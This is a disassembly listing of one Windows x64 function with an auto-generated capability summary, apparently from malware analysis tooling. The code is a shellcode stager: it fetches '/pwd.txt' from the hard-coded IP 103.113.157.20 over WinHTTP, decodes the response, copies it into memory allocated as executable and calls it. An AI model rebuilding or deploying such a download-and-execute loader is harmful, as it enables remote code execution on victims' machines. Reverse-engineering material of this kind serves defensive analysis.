Function at 0x140003098
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Initialize winhttp library
Prepare http request
Receive http response

Disassembly:
sub rsp, 0x138
lea rax, str.103.113.157.20
mov qword [rsp + 0xb8], rax
lea rax, str._pwd.txt
mov qword [rsp + 0xc0], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.A_WinHTTP_Example_Program_1.0
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov qword [rsp + 0x88], rax
mov dword [rsp + 0x74], 0xbb8
mov dword [rsp + 0x70], 0x1388
mov dword [rsp + 0x6c], 0xbb8
mov dword [rsp + 0x68], 0xbb8
mov eax, dword [rsp + 0x68]
mov dword [rsp + 0x20], eax
mov r9d, dword [rsp + 0x6c]
mov r8d, dword [rsp + 0x70]
mov edx, dword [rsp + 0x74]
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.WINHTTP.dll_WinHttpSetTimeouts]
cmp qword [rsp + 0x88], 0
je 0x1400034e5
xor r9d, r9d
mov r8w, 0x50
mov rdx, qword [rsp + 0xb8]
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov qword [rsp + 0x90], rax
cmp qword [rsp + 0x90], 0
je 0x1400034e5
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0xc0]
lea rdx, [0x140005410]
mov rcx, qword [rsp + 0x90]
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
je 0x1400034e5
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
test eax, eax
je 0x1400034e5
xor edx, edx
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
test eax, eax
je 0x1400034e5
mov dword [rsp + 0x78], 0
mov dword [rsp + 0x44], 0
mov byte [rsp + 0x40], 0
mov dword [rsp + 0x44], 0
lea rdx, [rsp + 0x44]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
mov eax, dword [rsp + 0x44]
inc eax
mov eax, eax
mov ecx, eax
call fcn.140003554
mov qword [rsp + 0xc8], rax
mov rax, qword [rsp + 0xc8]
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x1400034c9
mov eax, dword [rsp + 0x44]
inc eax
mov eax, eax
mov r8d, eax
xor edx, edx
mov rcx, qword [rsp + 0x50]
call sub.VCRUNTIME140.dll_memset
lea r9, [rsp + 0x78]
mov r8d, dword [rsp + 0x44]
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.WINHTTP.dll_WinHttpReadData]
test eax, eax
je 0x1400034c9
mov rdx, qword [rsp + 0x50]
lea rcx, [rsp + 0x108]
call fcn.14000234c
nop
mov byte [rsp + 0x40], 1
mov dword [rsp + 0x7c], 5
lea rdx, [rsp + 0x7c]
lea rcx, [rsp + 0xe0]
call fcn.140001030
mov rcx, rax
call fcn.1400021e4
lea rdx, [rsp + 0x108]
lea rcx, [rsp + 0xe8]
call fcn.1400022e4
nop
lea rcx, [rsp + 0xe8]
call fcn.140002c84
mov qword [rsp + 0xa0], rax
lea rcx, [rsp + 0xe8]
call fcn.140002d78
mov qword [rsp + 0x98], rax
mov rax, qword [rsp + 0x98]
inc rax
mov rcx, rax
call fcn.140003554
mov qword [rsp + 0xd0], rax
mov rax, qword [rsp + 0xd0]
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x98]
lea rax, [rax + rcx + 1]
mov r8, qword [rsp + 0x58]
mov rdx, rax
mov rcx, qword [rsp + 0xa0]
call fcn.140001f94
lea rdx, [0x140005418]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000110c
mov rdx, qword [rsp + 0x58]
mov rcx, rax
call fcn.140001464
lea rdx, [0x140002104]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov qword [rsp + 0xa8], 0x39d
mov rcx, qword [rsp + 0x58]
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
mov qword [rsp + 0xd8], rax
mov r9, qword [rsp + 0xd8]
mov r8, qword [rsp + 0xa8]
mov rdx, qword [rsp + 0x58]
lea rcx, section..data
call fcn.140003018
lea rdx, [0x140005438]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000110c
mov qword [rsp + 0x60], 0
jmp 0x1400033fa
mov rax, qword [rsp + 0x60]
inc rax
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0xa8]
cmp qword [rsp + 0x60], rax
jae 0x140003457
lea rax, section..data
mov rcx, qword [rsp + 0x60]
movzx eax, byte [rax + rcx]
mov dword [rsp + 0x80], eax
lea rdx, [0x140005444]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000110c
lea rdx, [0x140002d34]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov ecx, dword [rsp + 0x80]
mov edx, ecx
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
jmp 0x1400033ed
lea rdx, [0x140002104]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov r9d, 0x40
mov r8d, 0x1000
mov edx, 0x39e
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0xb0], rax
mov r8d, 0x39e
lea rdx, section..data
mov rcx, qword [rsp + 0xb0]
call sub.VCRUNTIME140.dll_memcpy
call qword [rsp + 0xb0]
nop
lea rcx, [rsp + 0xe8]
call fcn.1400026f4
nop
lea rcx, [rsp + 0x108]
call fcn.1400026f4
cmp dword [rsp + 0x44], 0
jb 0x140003213
mov rdx, qword [rsp + 0x50]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000110c
xor eax, eax
add rsp, 0x138
ret